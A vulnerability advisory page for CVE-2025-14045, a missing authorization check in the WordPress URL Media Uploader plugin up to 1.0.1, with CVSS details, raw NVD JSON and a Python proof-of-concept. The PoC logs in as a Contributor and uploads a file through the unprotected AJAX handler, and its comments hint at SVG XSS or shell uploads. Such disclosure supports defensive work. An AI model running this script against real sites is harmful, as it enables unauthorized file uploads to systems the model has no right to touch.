Security Vulnerability Report
中文
CVE-2025-14045 CVSS 4.3 MEDIUM

CVE-2025-14045

Published: 2025-12-12 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The URL Media Uploader plugin for WordPress is vulnerable to unauthorized safe file uploads due to a missing capability check on the url_media_uploader_url_upload_ajax_handler() function in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload safe media files.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

URL Media Uploader plugin for WordPress <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14045 PoC - WordPress URL Media Uploader Authorization Bypass # Target: WordPress site with URL Media Uploader plugin <= 1.0.1 import requests import sys def exploit_cve_2025_14045(target_url, username, password, file_to_upload='test.png'): """ Exploit for CVE-2025-14045 - URL Media Uploader Authorization Bypass Requires Contributor+ level WordPress account """ # Setup session session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload file via vulnerable AJAX endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare malicious file content (could be SVG with XSS or other) files = { 'url_media_uploader_file': (file_to_upload, b'\x89PNG\r\n\x1a\n', 'image/png') } data = { 'action': 'url_media_uploader_url_upload_ajax_handler' } print(f"[*] Uploading file via vulnerable endpoint...") response = session.post(upload_url, data=data, files=files) # Step 3: Check response if response.status_code == 200: try: result = response.json() if result.get('success'): print(f"[+] File uploaded successfully!") print(f"[+] Response: {result}") return True except: pass print(f"[-] Upload failed or file type rejected") print(f"[*] Response: {response.text[:200]}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> ") print(f"Example: python {sys.argv[0]} http://target.com user pass shell.png") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] filename = sys.argv[4] exploit_cve_2025_14045(target, user, pwd, filename)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14045", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:46.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URL Media Uploader plugin for WordPress is vulnerable to unauthorized safe file uploads due to a missing capability check on the url_media_uploader_url_upload_ajax_handler() function in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload safe media files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://gist.github.com/jasoncarle/925401bb11833b1ced2342390e20718e", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/url-media-uploader/tags/1.0.1/url-media-uploader.php#L52", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/url-media-uploader/trunk/url-media-uploader.php#L52", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/57f09da9-0d2c-45db-b3ed-19a7c9f5a001?source=cve", "source": "[email protected]"}, {"url": "https://gist.github.com/jasoncarle/925401bb11833b1ced2342390e20718e", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}